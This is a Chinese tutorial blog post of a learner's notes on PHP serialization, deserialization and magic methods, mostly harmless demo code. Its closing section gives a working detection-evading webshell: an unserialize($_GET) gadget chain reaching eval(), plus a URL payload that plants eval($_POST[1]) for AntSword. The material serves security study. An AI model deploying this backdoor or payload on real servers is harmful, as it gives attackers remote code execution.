护网笔记(十一)--反序列化
本部分碍于本人相关基础薄弱,暂只能做简单的记录,更详细的讲解和复现练习之后会补充。
反序列化
序列化
序列化是将对象状态转换为可保持或可传输的格式的过程。
与序列化相对的是反序列化,它将流转换为对象。这两个过程结合起来,可以轻松地存储和传输数据。
序列化:
对象===>字符串
反序列化:
字符串===>对象
为什么会有反序列化这个东西呢?
方便在网络中进行传输
反序列化时需要依赖之前声明的类
序列化解决了什么问题?
1、以某种存储形式使自定义对象持久化;
2、将对象从一个地方传递到另一个地方。
3、使程序更具维护性。
序列化原理
<?php
class A
{
// 声明属性
public $public_prop;
protected $prot_prop;
private $priv_prop;
//声明方法
public function __construct($public_prop, $prot_prop, $priv_prop)
{
$this->priv_prop=$priv_prop;
$this->public_prop=$public_prop;
$this->prot_prop=$prot_prop;
}
}
$a_obj = new A("public","protectrd","private");
var_dump($a_obj);
?>
那我现在想要把刚刚定义的类传到unserialize.php里该怎么传呢?
echo urlencode(serialize($a_obj));
O:1:"A":3:{s:11:"public_prop";s:6:"public";s:12:"*prot_prop";s:9:"protectrd";s:12:"Apriv_prop";s:7:"private";}
生成的序列化字符串
O%3A1%3A%22A%22%3A3%3A%7Bs%3A11%3A%22public_prop%22%3Bs%3A6%3A%22public%22%3Bs%3A12%3A%22%00%2A%00prot_prop%22%3Bs%3A9%3A%22protectrd%22%3Bs%3A12%3A%22%00A%00priv_prop%22%3Bs%3A7%3A%22private%22%3B%7D
图片来源:
https://www.cnblogs.com/upstream-yu/p/15191503.html
反序列化生成的对象,不依赖于原有的构造方法,只会依赖我们构造的字符串。
反序列化有且只能控制属性,我们只能控制生成的对象的属性的值,不能控制调用的方法
三大属性的序列化表示方法
<?php
class A{
public $name;
}
$a_obj = new A();
echo serialize($a_obj)."<br>";
?>
O:1:"A":1:{s:4:"name";N;}
<?php
class A
{
public $name;
}
$a_obj = new A();
$a_obj->name = 'haha';
echo serialize($a_obj) . "<br>";
下面是字母代表的类型
a - array数组
b - boolean布尔型
d - double双精度型
i- integer
O -common object 一般对象
O:6:"Person":3:{s:12:"Personname";s:4:"haha";s:6:"*age";i:18;s:7:"address";s:7:"beijing";}
//O代表对象
//6 表示类名字长度
//3 表示有3个属性
//注意不同类型,对应序列化字符串
private $name; s:12:"Personname";
protected $age; s:6:"* age";
public $address; s:7:"address";
<?php
class Person{
public $name;
public $age;
public $address;
public function __construct($name, $age, $address)
{
$this->name = $name;
$this->age = $age;
$this->address = $address;
}
public function sayName(){
echo $this->name;
}
public function sayAge(){
echo $this->age;
}
public function sayAddress(){
echo $this->address;
}
}
$persion1 = new Person('haha',18,'beijing');
echo serialize($persion1);
//echo urlencode(serialize($persion1)); //序列化之后,对序列化字符串进行url编码,
//就是为了处理这个%00问题
//$str="O%3A6%3A%22Person%22%3A3%3A%7Bs%3A12%3A%22%00Person%00name%22%3Bs%3A4%3A%22haha%22%3Bs%3A6%3A%22%00%2A%00age%22%3Bi%3A18%3Bs%3A7%3A%22address%22%3Bs%3A7%3A%22beijing%22%3B%7D";
//反序列化
//$obj = unserialize(urldecode($str)); //unserialize()函数 反序列化函数
//echo '<br>';
//$obj->sayAddress();
?>
public 属性 直接无需修改
protected 属性 %00*%00属性名
private 属性 %00类名%00属性名
我们可以通过序列化生成的字符串判断使用的属性
注意:
PHP序列化的时候 private 和protected 变量会引入不可见字符%00,%00类名%00属性名为private
%00*%00属性名为protected,注意这两个%00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是ur编码后就可以看得清楚
//O:6:"Person":3:{s:12:"Personname";s:4:"haha";s:6:"*age";i:18;s:7:"address";s:7:"beijing";}
//O%3A6%3A%22Person%22%3A3%3A%7Bs%3A12%3A%22%00Person%00name%22%3Bs%3A4%3A%22haha%22%3Bs%3A6%3A%22%00%2A%00age%22%3Bi%3A18%3Bs%3A7%3A%22address%22%3Bs%3A7%3A%22beijing%22%3B%7D
魔术方法
PHP中把以两个下划线_ _开头的方法称为魔术方法(Magic methods),这些方法在PHP中充当了举足轻重的作用。
魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作。
__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __serialize(), __unserialize(), __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo() 等方法在 PHP 中被称为魔术方法(Magic methods)。在命名自己的类方法时不能使用这些方法名,除非是想使用其魔术功能.
本部分可参考官方解释和相关博客;
官网:
https://www.php.net/manual/zh/language.oop5.magic.php
博客推荐:
https://www.php.cn/php-weizijiaocheng-427052.html
注意: 所有的魔术方法 必须 声明为 public
魔术方法
函数 | 简介 |
---|---|
__sleep | serialize()函数在执行时会检查是否存在一个__sleep魔术方法,如果存在,则先调用 |
__wakeup | unserialize()函数在执行时会检查是否存在一个__wakeup,如果存在,则先调用 |
__construct | 构造函数,会在每次创建对象时先调用 |
__destruct | 对象被删除,或者被显式销毁时执行 |
魔术方法__call
在对象中调用一个不可访问方法时,__call() 会被调用。
<?php
class Test{
public function __call($name, $arguments)
{
// TODO: Implement __call() method.
echo "now the name is ".$name."and the arguments is ".$arguments."<br/>";
}
}
$test_obj = new Test();
$test_obj->saynem();
?>
魔术方法__callStatic()
<?php
class Test{
public function __call($name, $arguments)
{
// TODO: Implement __call() method.
echo "now the no static name is ".$name."and the arguments is ".implode(', ', $arguments)."<br/>";
}
// private static function privateStaticSay(){
// echo "privateStaticSay is called";
// }
public static function __callStatic($name, $arguments)
{
// TODO: Implement __callStatic() method.
echo "now the static func name is ".$name."and the arguments is ".implode(', ', $arguments)."<br/>";
}
}
$test_obj = new Test();
//$test_obj->saynem("haha","hehe");
$test_obj::privateStaticSay("haha","hehe");
?>
魔术方法__get
读取不可访问属性的值时,__get() 会被调用。
<?php
class Test{
//private $name;
protected $age;
public $address;
private $data;
public function __get($name)
{
// TODO: Implement __get() method.
echo '想要获得的属性名'.$age;
}
}
$test_obj = new Test('hehe',22);
echo $test_obj->weqwe;
魔术方法__set
<?php
class Test{
private $name;
protected $age;
public $address;
public Static $data;
public function __get($name)
{
// TODO: Implement __get() method.
echo '想要获得的属性名'.$name;
}
public function __set($name, $value)
{
// TODO: Implement __set() method.
echo "Setting '$name' to '$value'\n";
$this->name = $value;
}
}
$test_obj = new Test('hehe',22);
$test_obj->name = "new name";
echo $test_obj->name;
魔术方法__sleep()
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 null
被序列化,并产生一个 E_NOTICE
级别的错误
序列化时候会触发该函数
<?php
class Person{
private $name;
protected $age;
public $address;
public function __construct($name, $age, $address)
{
$this->name = $name;
$this->age = $age;
$this->address = $address;
}
public function sayName(){
echo $this->name;
}
public function sayAge(){
echo $this->age;
}
public function sayAddress(){
echo $this->address;
}
public function __sleep(){
// __sleep()魔术方法可以限制那些属性,在序列化后呈现
return array('name');
//return array('name','age');
//return array('name','age','address');
}
public function __destruct()
{
echo "<br>An object is destroyed".$this->name;
}
}
$persion1 = new Person('haha',18,'beijing');
echo serialize($persion1);
//没有限制,序列化输出
//O:6:"Person":3:{s:12:"Personname";s:4:"haha";s:6:"*age";i:18;s:7:"address";s:7:"beijing";}
//__sleep()魔术方法限制后,序列化输出
//O:6:"Person":1:{s:12:"Personname";s:4:"haha";}
?>
魔术方法__wakeup ()
与之相反,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup
方法,预先准备对象需要的资源。
反序列化时候会触发该函数
<?php
class Person{
private $name;
protected $age;
public $address;
public function __construct($name, $age, $address)
{
$this->name = $name;
$this->age = $age;
$this->address = $address;
}
public function sayName(){
echo $this->name;
}
public function sayAge(){
echo $this->age;
}
public function sayAddress(){
echo $this->address;
}
public function __wakeup(){
echo "Deserialize an object";
}
public function __destruct()
{
echo "An object is destroyed ".$this->name;
}
}
$str="O%3A6%3A%22Person%22%3A3%3A%7Bs%3A12%3A%22%00Person%00name%22%3Bs%3A4%3A%22haha%22%3Bs%3A6%3A%22%00%2A%00age%22%3Bi%3A18%3Bs%3A7%3A%22address%22%3Bs%3A7%3A%22beijing%22%3B%7D";
//反序列化
$obj = unserialize(urldecode($str));
echo '<br>';
?>
魔术方法__toString()
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj;
应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR
级别的致命错误。
<?php// Declare a simple class
class TestClass{
public $foo;
public function __construct($foo) {
$this->foo = $foo;
}
public function __toString() {
return $this->foo;
}
}
$class = new TestClass('Hello');
echo $class;?>
魔术方法__invoke()
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
<?php
class Test{
private $name;
protected $age;
public $address;
public Static $data;
public function __get($name)
{
// TODO: Implement __get() method.
echo '想要获得的属性名'.$name;
}
public function __set($name, $value)
{
// TODO: Implement __set() method.
echo "Setting '$name' to '$value'\n";
$this->name = $value;
}
public function __invoke()
{
// TODO: Implement __invoke() method.
echo 'now __invoke is has been called ';
}
}
$test_obj = new Test('hehe',22);
$test_obj();
我们也可以在__invoke()中传递函数
<?php
class Test{
private $name;
protected $age;
public $address;
public Static $data;
public function __get($name)
{
// TODO: Implement __get() method.
echo '想要获得的属性名'.$name;
}
public function __set($name, $value)
{
// TODO: Implement __set() method.
echo "Setting '$name' to '$value'\n";
$this->name = $value;
}
public function __invoke($eeee)
{
// TODO: Implement __invoke() method.
echo 'now __invoke is has been called '.$eeee;
}
}
$test_obj = new Test('hehe',22);
$test_obj("hahahaaaa");
免杀
<?php
class Student
{
var $a;
function __construct(){
echo "hello constructor";
}
function __destruct(){
$this->a->action();
echo 'one';
}
}
class one
{
var $b;
function action(){
eval($this->b);
}
}
//$one_obj = new one();
//$student = new Student();
//$student->a=$one_obj;
//echo serialize($student);
//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";N;}}
unserialize($_GET['a']);
?>
使构造一句话木马,使用蚁剑连接
http://127.0.0.1/demo.php?a=O:7:%22Student%22:1:{s:1:%22a%22;O:3:%22one%22:1:{s:1:%22b%22;s:16:%22eval($_POST[1]);%22;}}
用安全狗对上面代码,进行扫描,观察能否免杀
构造一句话木马,使用蚁剑连接
http://127.0.0.1/demo.php?a=O:7:%22Student%22:1:{s:1:%22a%22;O:3:%22one%22:1:{s:1:%22b%22;s:16:%22eval($_POST[1]);%22;}}
本文来自作者:CK_0ff,转载请注明原文链接:https://www.cnblogs.com/Ck-0ff/p/15808098.html